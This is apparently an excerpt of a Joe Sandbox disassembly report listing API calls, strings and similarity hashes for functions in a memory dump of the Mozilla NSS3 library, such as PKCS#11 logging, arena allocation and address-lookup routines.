Part of subcall function 6CAEA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CAEA421,00000000,00000000,6CAE9826), ref: 6CAEA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAE904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CAE8E76

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b1d4ba1bcad595cce5120ba6df6e58a3a9260ad6015baa79c647382a0b9ea0eb
Instruction ID: b9c6eee3cef219fee19427f6adb08f15440b40674b1cdbb549f76cd3ba71dc50
Opcode Fuzzy Hash: b1d4ba1bcad595cce5120ba6df6e58a3a9260ad6015baa79c647382a0b9ea0eb
Instruction Fuzzy Hash: 3B61A1B5E002459BDB10DF65CD80AEFB7B9EF88358F184128DC18A7700E732A956DBE0

Function 6CA98E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA98E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA98E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA98EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBC18D0,?), ref: 6CA98F03
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA98F19
PL_FreeArenaPool.NSS3(?), ref: 6CA98F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA98F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA98F65
PL_FinishArenaPool.NSS3(?), ref: 6CA98FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CA98FFE
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA99012
PL_FreeArenaPool.NSS3(?), ref: 6CA99024
PL_FinishArenaPool.NSS3(?), ref: 6CA9902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CA9903E

Strings

security, xrefs: 6CA98EE7

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: c88535d1dfc072352596b61aee8215121fafc75f6437ae8ac6b5939550487643
Instruction ID: 94a43e55db755b9416a256078de858e7fc5ed2838b7cf921154ba83961cd7ae4
Opcode Fuzzy Hash: c88535d1dfc072352596b61aee8215121fafc75f6437ae8ac6b5939550487643
Instruction Fuzzy Hash: B85158B5618340ABD7009A58DD42FBF73E8AF8535CF48082EF5A997B40E731D9898763

Function 6CAC4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CAC4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4EC7

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAC4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAC4F68

Strings

C_GetAttributeValue, xrefs: 6CAC4E7E
(CK_INVALID_HANDLE), xrefs: 6CAC4EC0, 6CAC4F13
hObject = 0x%x, xrefs: 6CAC4EF5, 6CAC4F05
pTemplate = 0x%p, xrefs: 6CAC4F4A
ulCount = %d, xrefs: 6CAC4F63
hSession = 0x%x, xrefs: 6CAC4EA2, 6CAC4EB2

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: e8bd13f776b3c565142bebea0cfe418161b543f734aed0d94c1bdb54437afc4e
Instruction ID: c264769b7008dea63a04813f23e7a0efad1b6d799c62874ad730b38c2aa16847
Opcode Fuzzy Hash: e8bd13f776b3c565142bebea0cfe418161b543f734aed0d94c1bdb54437afc4e
Instruction Fuzzy Hash: 6B41E535701184ABDB009B58ED88FAE77B5EB4271DF088024E91967711DB309D99CBAB

Function 6CAC4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CAC4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4D37

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CAC4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CAC4E20

Strings

(CK_INVALID_HANDLE), xrefs: 6CAC4D30, 6CAC4D83
hObject = 0x%x, xrefs: 6CAC4D65, 6CAC4D75
C_GetObjectSize, xrefs: 6CAC4CEE
pulSize = 0x%p, xrefs: 6CAC4DB7
hSession = 0x%x, xrefs: 6CAC4D12, 6CAC4D22
*pulSize = 0x%x, xrefs: 6CAC4E1B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 474543dd4979e8e02ddf218aeb273d7e102f72973c2f3bf561b1d04dfd72cc40
Instruction ID: ec52bad9036dde30014da167cab152dfdc78fe38c86728ed02edb8cf2ad999bc
Opcode Fuzzy Hash: 474543dd4979e8e02ddf218aeb273d7e102f72973c2f3bf561b1d04dfd72cc40
Instruction Fuzzy Hash: D7410175701184AFDB019B54ED88FBE77B5EB4231DF088028E8096BB11DB308D99CB6B

Function 6CAC7C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CAC7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC7CF3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAC7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAC7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CAC7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CAC7D77

Strings

ulDataLen = %d, xrefs: 6CAC7D40
C_Verify, xrefs: 6CAC7CB1
ulSignatureLen = %d, xrefs: 6CAC7D72
(CK_INVALID_HANDLE), xrefs: 6CAC7CEC
pSignature = 0x%p, xrefs: 6CAC7D59
pData = 0x%p, xrefs: 6CAC7D25
hSession = 0x%x, xrefs: 6CAC7CCE, 6CAC7CDE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: d9e5570bc42f2f05db367b67d578b8ab21a35eccdcb615ff4aebc73cff5f0c63
Instruction ID: af1d9136ec2c7841e6c831c487ef13f49ad0ecdd77f5a55e88ddaadba4ec5a67
Opcode Fuzzy Hash: d9e5570bc42f2f05db367b67d578b8ab21a35eccdcb615ff4aebc73cff5f0c63
Instruction Fuzzy Hash: FB31D3757011C5AFDB019F64ED88FAE3BB5EB42319F484024E819A7711DB308999CBA7

Function 6CAC2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CAC2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC2F63

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CAC2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CAC2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CAC2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CAC2FE7

Strings

ulOldLen = %d, xrefs: 6CAC2FB0
C_SetPIN, xrefs: 6CAC2F21
(CK_INVALID_HANDLE), xrefs: 6CAC2F5C
pNewPin = 0x%p, xrefs: 6CAC2FC9
pOldPin = 0x%p, xrefs: 6CAC2F95
ulNewLen = %d, xrefs: 6CAC2FE2
hSession = 0x%x, xrefs: 6CAC2F3E, 6CAC2F4E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 589d7eeb5486a97c7e6e11284d0abb3d25daa29788bb76463358b376f69a59c9
Instruction ID: 0e1b561b51a97e2699dbce808abd8c079943b7bee8de8587a9d7fdf16d594a77
Opcode Fuzzy Hash: 589d7eeb5486a97c7e6e11284d0abb3d25daa29788bb76463358b376f69a59c9
Instruction Fuzzy Hash: EB310479B011C4AFDB008F58ED8CE9E37B5EB46319F084114E819A7B11DB3099A8CBA7

Function 6CB5CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB5CC7B), ref: 6CB5CD7A

Part of subcall function 6CB5CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CACC1A8,?), ref: 6CB5CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CB5CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CD8E

Part of subcall function 6CA805C0: PR_EnterMonitor.NSS3 ref: 6CA805D1
Part of subcall function 6CA805C0: PR_ExitMonitor.NSS3 ref: 6CA805EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CB5CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CB5CE48

Strings

getnameinfo, xrefs: 6CB5CDB2, 6CB5CE23
ws2_32.dll, xrefs: 6CB5CD75
freeaddrinfo, xrefs: 6CB5CD9F, 6CB5CE10
getaddrinfo, xrefs: 6CB5CD88, 6CB5CDF9
wship6.dll, xrefs: 6CB5CDE3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 3bcc6d086efffc8c15aee239c57726a2ba3e40fb2f6706d18e1f6b74231bc839
Instruction ID: ba3561f3da25026ce0c86ca06e4d6eb4ce347d68f42a4dd3091f000e0298dcb0
Opcode Fuzzy Hash: 3bcc6d086efffc8c15aee239c57726a2ba3e40fb2f6706d18e1f6b74231bc839
Instruction Fuzzy Hash: F21103E9F031A123EB05AE717C40AAE385A9B1611DF5C4935E815D2F80FB20C56C87F7

Function 6CBA1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CBA13BC,?,?,?,6CBA1193), ref: 6CBA1C6B
PR_NewLock.NSS3(?,6CBA1193), ref: 6CBA1C7E

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewCondVar.NSS3(00000000,?,6CBA1193), ref: 6CBA1C91

Part of subcall function 6CA7BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA821BC), ref: 6CA7BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CBA1193), ref: 6CBA1CA7

Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA7BBEB
Part of subcall function 6CA7BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA7BBFB
Part of subcall function 6CA7BB80: GetLastError.KERNEL32 ref: 6CA7BC03
Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA7BC19
Part of subcall function 6CA7BB80: free.MOZGLUE(00000000), ref: 6CA7BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CBA1193), ref: 6CBA1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CBA1193), ref: 6CBA1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CBA1193), ref: 6CBA1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D1A

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D3D

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CBA1193), ref: 6CBA1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CBA1193), ref: 6CBA1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CBA1193), ref: 6CBA1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CBA1193), ref: 6CBA1D93
PR_DestroyLock.NSS3(00000000,?,?,6CBA1193), ref: 6CBA1D9F
free.MOZGLUE(00000000,?,6CBA1193), ref: 6CBA1DA8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: c00538f9027ebe720edecff03c7ad1885992b7529a5e04019eea2fa28a11b900
Instruction ID: eafa6317c3dd1ea9808084a605cf3def88e11a4a7473717ab91e5fe1ff07d323
Opcode Fuzzy Hash: c00538f9027ebe720edecff03c7ad1885992b7529a5e04019eea2fa28a11b900
Instruction Fuzzy Hash: 8F31FCF5E007519BEB209FA5AC01A5B76F4EF0564CF084538E88A87B41FB31E41DCBA2

Function 6CAF5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CAF5EC0,00000000,?,?), ref: 6CAF5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CAF5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CAF5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CAF5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CAF5EC0,00000000,?,?), ref: 6CAF5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CAF5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CAF5D80

Strings

sql:, xrefs: 6CAF5CD1, 6CAF5D36
NSS_DEFAULT_DB_TYPE, xrefs: 6CAF5D1A
dbm:, xrefs: 6CAF5D03, 6CAF5D60
extern:, xrefs: 6CAF5CEA, 6CAF5D4B
multiaccess:, xrefs: 6CAF5CB8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 04e6a00fd5da48e274c59f5e67c67c2fecb4195eb107acce9e6a492fecbc042f
Instruction ID: 9d086d934d0ff5a278245728053e9ad036a1838c272570a9d0ad79894fec49a2
Opcode Fuzzy Hash: 04e6a00fd5da48e274c59f5e67c67c2fecb4195eb107acce9e6a492fecbc042f
Instruction Fuzzy Hash: 8B3147B4B033416BF7619A248C4CB663768AF02798F184430FDB5E7A82F7B1E442C2B1

Function 6CAF6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBC1DE0,?), ref: 6CAF6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CAF6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CAF6D82
DER_GetInteger_Util.NSS3(?), ref: 6CAF6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAF6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CAF6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CAF6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CAF6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CAF6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAF7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CAF7033
free.MOZGLUE(?), ref: 6CAF703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CAF7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CAF7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CAF70AF

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ef9735621a81bc5b98d3b417e8c08331f46097a386882e9ec069e26ab21b0159
Instruction ID: a61c9275ee0a37858dda9d87188251a987b2bdcd0eb183e962fb964c86fa1e05
Opcode Fuzzy Hash: ef9735621a81bc5b98d3b417e8c08331f46097a386882e9ec069e26ab21b0159
Instruction Fuzzy Hash: 62A1F6729142009BFB009F24DC55B6A32A5DB8131CF284939F979DBB81E775D8CAC793

Function 6CABAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF39
PR_Unlock.NSS3(?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF69
TlsGetValue.KERNEL32 ref: 6CABB06B
EnterCriticalSection.KERNEL32(?), ref: 6CABB083
PR_Unlock.NSS3(?), ref: 6CABB0A4
TlsGetValue.KERNEL32 ref: 6CABB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CABB0D9
PR_Unlock.NSS3 ref: 6CABB102
